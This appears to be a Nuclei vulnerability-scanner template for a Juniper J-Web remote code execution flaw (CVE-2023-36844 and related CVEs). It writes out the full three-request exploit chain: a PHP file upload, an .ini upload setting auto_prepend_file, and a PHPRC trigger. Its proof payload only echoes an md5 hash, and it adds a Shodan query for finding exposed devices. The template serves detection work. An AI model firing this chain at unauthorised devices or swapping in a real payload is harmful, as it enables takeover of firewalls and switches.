82 lines
3.0 KiB
YAML
82 lines
3.0 KiB
YAML
id: CVE-2023-36844
|
|
|
|
info:
|
|
name: Juniper Devices - Remote Code Execution
|
|
author: princechaddha,ritikchaddha
|
|
severity: medium
|
|
description: |
|
|
Multiple cves in Juniper Network (CVE-2023-36844|CVE-2023-36845|CVE-2023-36846|CVE-2023-36847).A PHP External Variable Modification vulnerability in J-Web of Juniper Networks Junos OS on EX Series allows an unauthenticated, network-based attacker to control certain, important environments variables. Utilizing a crafted request an attacker is able to modify certain PHP environments variables leading to partial loss of integrity, which may allow chaining to other vulnerabilities.
|
|
remediation: |
|
|
Apply the latest security patches and firmware updates provided by Juniper Networks to mitigate this vulnerability.
|
|
reference:
|
|
- https://labs.watchtowr.com/cve-2023-36844-and-friends-rce-in-juniper-firewalls/
|
|
- https://github.com/watchtowrlabs/juniper-rce_cve-2023-36844
|
|
- https://supportportal.juniper.net/JSA72300
|
|
- http://packetstormsecurity.com/files/174397/Juniper-JunOS-SRX-EX-Remote-Code-Execution.html
|
|
- http://packetstormsecurity.com/files/174865/Juniper-SRX-Firewall-EX-Switch-Remote-Code-Execution.html
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N
|
|
cvss-score: 5.3
|
|
cve-id: CVE-2023-36844
|
|
cwe-id: CWE-473
|
|
epss-score: 0.02557
|
|
epss-percentile: 0.88995
|
|
cpe: cpe:2.3:o:juniper:junos:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 3
|
|
vendor: juniper
|
|
product: junos
|
|
shodan-query: title:"Juniper Web Device Manager"
|
|
tags: packetstorm,cve,cve2023,juniper,php,rce,intrusive,fileupload
|
|
variables:
|
|
value: "CVE-2023-36844"
|
|
payload: "('<?php echo md5('{{value}}');?>')"
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
POST /webauth_operation.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
rs=do_upload&rsargs[]=[{"fileData": "data:text/html;base64,{{base64(payload)}}", "fileName": "{{rand_base(5, "abc")}}.php", "csize": {{len(payload)}}}]
|
|
- |
|
|
POST /webauth_operation.php HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
rs=do_upload&rsargs[]=[{"fileName": "{{rand_base(5, "abc")}}.ini", "fileData": "data:text/html;base64,{{base64(concat('auto_prepend_file=',hex_decode('22'),'/var/tmp/',phpfile,hex_decode('22')))}}", "csize": "97" }]
|
|
- |
|
|
GET /webauth_operation.php?PHPRC=/var/tmp/{{inifile}} HTTP/1.1
|
|
Host: {{Hostname}}
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body_2
|
|
words:
|
|
- '"original_fileName":'
|
|
- '"converted_fileName":'
|
|
condition: and
|
|
|
|
- type: word
|
|
part: body_3
|
|
words:
|
|
- '{{md5(value)}}'
|
|
|
|
extractors:
|
|
- type: regex
|
|
part: body_1
|
|
name: phpfile
|
|
regex:
|
|
- "([a-f0-9]{64}\\.php)"
|
|
internal: true
|
|
|
|
- type: regex
|
|
part: body_2
|
|
name: inifile
|
|
regex:
|
|
- "([a-f0-9]{64}\\.ini)"
|
|
internal: true
|